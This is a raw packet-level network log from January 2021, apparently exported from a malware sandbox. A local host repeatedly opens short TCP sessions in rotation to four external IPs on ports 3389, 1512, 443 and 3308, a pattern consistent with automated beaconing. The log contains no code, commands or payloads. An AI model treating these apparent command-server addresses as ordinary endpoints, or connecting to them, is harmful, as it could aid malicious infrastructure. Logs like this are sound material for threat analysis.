Jan 11, 2021 20:49:34.760072947 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.814733028 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:34.814938068 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.816289902 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.870316982 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:34.887140989 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:34.887156963 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:34.887274981 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.899532080 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.963722944 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:34.964014053 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.974204063 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:34.974335909 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:35.028295994 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.028557062 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:35.067953110 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.082644939 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.082664967 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.173310995 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.173371077 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.173680067 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:35.179152012 CET	49371	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:35.232917070 CET	3389	49371	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:35.289227009 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.342056990 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.342197895 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.343732119 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.396459103 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.403327942 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.403367043 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.403470993 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.421780109 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.475806952 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.476053953 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.486170053 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.486491919 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.539307117 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.539542913 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.575784922 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.592355967 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.592375040 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.692540884 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.692569971 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.692787886 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.697071075 CET	49372	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:35.750077963 CET	1512	49372	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:35.800944090 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:35.853156090 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:35.853307962 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:35.854984045 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:35.907135010 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:35.922477961 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:35.922616005 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:35.936729908 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:35.991592884 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:35.991849899 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.002226114 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.002384901 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.054698944 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:36.054958105 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.107579947 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:36.226421118 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:36.226475000 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:36.226738930 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.232311964 CET	49373	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:36.284476995 CET	443	49373	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:36.351188898 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.394696951 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.394861937 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.396357059 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.439460993 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.450783968 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.450819016 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.450999022 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.451046944 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.460187912 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.505907059 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.505991936 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.509646893 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.509805918 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.553069115 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.553231001 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.593290091 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.596606970 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.596647024 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.712049007 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.712100983 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.712383986 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.717644930 CET	49374	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:36.761008024 CET	3308	49374	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:36.834481001 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:36.888366938 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:36.888803005 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:36.890166044 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:36.943864107 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:36.959755898 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:36.959789991 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:36.959919930 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:36.959980011 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:36.971800089 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.034455061 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.034744024 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.048842907 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.049097061 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.102653980 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.102986097 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.142338037 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.156537056 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.156584978 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.248111010 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.248148918 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.248392105 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.254719019 CET	49375	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:37.308386087 CET	3389	49375	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:37.364948034 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.418052912 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.418188095 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.419884920 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.472783089 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.479933023 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.479964972 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.480036020 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.480073929 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.494092941 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.548352957 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.548665047 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.558568001 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.558885098 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.611955881 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.612252951 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.651912928 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.665338993 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.766886950 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.766930103 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.767220974 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.772737026 CET	49376	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:37.826023102 CET	1512	49376	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:37.894855976 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:37.947505951 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:37.947683096 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:37.949439049 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.001934052 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.016786098 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.016895056 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.030244112 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.085011005 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.085292101 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.095338106 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.095742941 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.148335934 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.148629904 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.201010942 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.201045036 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.319083929 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.319128990 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.319366932 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.325331926 CET	49377	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:38.377720118 CET	443	49377	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:38.435853958 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.479087114 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.479268074 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.531915903 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.575292110 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.589462042 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.589529991 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.589652061 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.591433048 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.733021021 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.777988911 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.778093100 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.781842947 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.781956911 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.825151920 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.825323105 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.865140915 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.868647099 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.982346058 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.982394934 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:38.982611895 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:38.988147974 CET	49378	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:39.031713009 CET	3308	49378	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:39.096865892 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.151083946 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.151177883 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.152482033 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.206851006 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.231635094 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.231669903 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.231719017 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.233251095 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.244689941 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.311728001 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.311924934 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.317574978 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.317754030 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.372103930 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.372342110 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.411166906 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.426744938 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.426789999 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.520524025 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.520572901 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.520740986 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.520788908 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.681364059 CET	49379	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:39.735730886 CET	3389	49379	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:39.795047045 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.848256111 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:39.848387957 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.849153042 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.902859926 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:39.909486055 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:39.909514904 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:39.909605980 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.916452885 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.972194910 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:39.973409891 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.982821941 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:39.983129025 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:40.036139965 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.037410021 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:40.076069117 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.090958118 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.191771984 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.191817045 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.191952944 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:40.196837902 CET	49380	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:40.250101089 CET	1512	49380	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:40.312603951 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.364706993 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.364784002 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.365649939 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.417572975 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.432838917 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.432935953 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.447002888 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.501302004 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.501611948 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.511776924 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.512100935 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.563925982 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.564168930 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.616072893 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.734127998 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.734169960 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.734319925 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.739823103 CET	49381	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:40.792085886 CET	443	49381	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:40.858644009 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:40.902219057 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:40.902335882 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:40.903757095 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:40.947010994 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:40.959327936 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:40.959372997 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:40.959491014 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:40.959547043 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:40.976872921 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.022183895 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.022506952 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.036744118 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.036997080 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.080194950 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.080322027 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.121186972 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.123712063 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.123749971 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.236025095 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.236071110 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.236248016 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.238725901 CET	49382	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:41.281968117 CET	3308	49382	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:41.358795881 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.412801981 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.412952900 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.414339066 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.469722033 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.496822119 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.496865988 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.496937037 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.496990919 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.510257959 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.572741985 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.572927952 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.582515001 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.582617998 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.636820078 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.637172937 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.675973892 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.691328049 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.691370010 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.780940056 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.780983925 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.781267881 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.786834002 CET	49383	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:41.840996981 CET	3389	49383	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:41.904304028 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:41.957670927 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:41.957758904 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:41.958894014 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.011794090 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.018857956 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.018903017 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.018944025 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.018975973 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.035567045 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.089695930 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.089853048 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.099966049 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.100280046 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.153455019 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.153738022 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.191823959 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.206784010 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.307805061 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.307851076 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.308104038 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.313659906 CET	49384	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:42.366813898 CET	1512	49384	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:42.447335958 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.499289989 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.499408007 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.501074076 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.553096056 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.567636967 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.567739964 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.584583044 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.638866901 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.639041901 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.648591995 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.648777962 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.700573921 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.700828075 CET	49385	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:42.739454031 CET	443	49385	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:42.752723932 CET	443	49385	77.220.64.37	192.168.2.22
